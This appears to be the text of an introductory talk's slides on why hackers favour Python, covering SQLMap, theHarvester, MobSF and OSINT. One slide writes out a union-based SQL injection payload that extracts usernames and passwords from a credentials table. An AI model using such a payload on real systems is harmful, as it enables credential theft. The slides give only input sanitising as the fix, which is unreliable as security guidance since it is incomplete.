Tools pentesting on github commonly written with python 9

Slide 10

Slide 10 text

Also to proof the concept of CVE is widely written with python 10

Slide 11

Slide 11 text

So why hackers commonly use python ? Hacking Tools It is used by SQLMap, theHarvester and MobSF Productive & Speedy The most accessible programming languages available Wide Community Hackers community really can help with python Easy PoC Its not hard to Proof of Concept of the vulnerability or CVE ByteCode Shell Inject Fun with buffer0verlow ? try python For Fun! 🤣🤣🤣🤣 11

Hacking Tools Python as the swiss army Knife of hackers tools 12

Slide 13

Slide 13 text

Common Hackers tools written with python SQLMap theHarvester MobSF 13 This tools very common around hackers for sqlinjection, OSINT and debug the android apps

Slide 14

Slide 14 text

SQLMap - Automatic SQL Injection and database take over This tools can detect all of the variant of sql injection with more than 100 sql injection payload, it has more feature than that from explore database to dump the database 14

Slide 15

Slide 15 text

SQL injection there is an attack method that usually hackers use to trick the application to execute any command on the Database, from this kind of query that simply select the news like this 15 select * from news where news_id=5

Slide 16

Slide 16 text

SQL injection Into something that select other table, that store more sensitive information like this 16 select * from news where news_id=5 union select 1,2,concat(username,0x3a,password),4,5 from credentials This is only one variant of the sql injection from the 9 variant of sql injection with more than 100 sql injection payload, you can see full in here https://github.com/payloadbox/sql-injection-payload-list

Slide 17

Slide 17 text

Fix SQL injection Because sql injection is commonly involve with data input, so it is only need to sanitize the input, so the hackers can’t manipulate the query 17

Slide 18

Slide 18 text

theHarvester - the internet gold miner tools This is a very cool tools to dig a gold mine on the internet, the tools is simple, you just put the domain and it will search “ANY” information on the internet, even the sensitive one. How it work ? it is only use the search engine, from common search engine google, duck duck go, bing and the speciality search engine, GHDB, shodan and zoomeye and all of this commonly call OSINT 18

Slide 19

Slide 19 text

OSINT - Open Source Intelligence A process mostly used for collecting the publicly available source for intelligence context, you can try this by simply using the speciﬁc keyword on google or usually hackers call this GHDB (Google Hacking DB). Professionally a person who can do this is called the investigator 19

OSINT - Open Source Intelligence Why OSINT is so powerful ? 20

Slide 21

Slide 21 text

MobSF - Mobile Security Framework This tools can analyze, decompile, sniffing the API and do many things to analyze the Android application, it has a two great feature, Static Analysis and Dynamic Analysis 21

Slide 22

Slide 22 text

How Powerful MobSF ? I made the analysis of the Peduli Lindungi Application on twitter, github and youtube that peduli lindungi application actually send the “unusual” data to “untrusted tracker” 22

Slide 23

Slide 23 text

Automate & Proof of Concept Its easy to automate using python 23
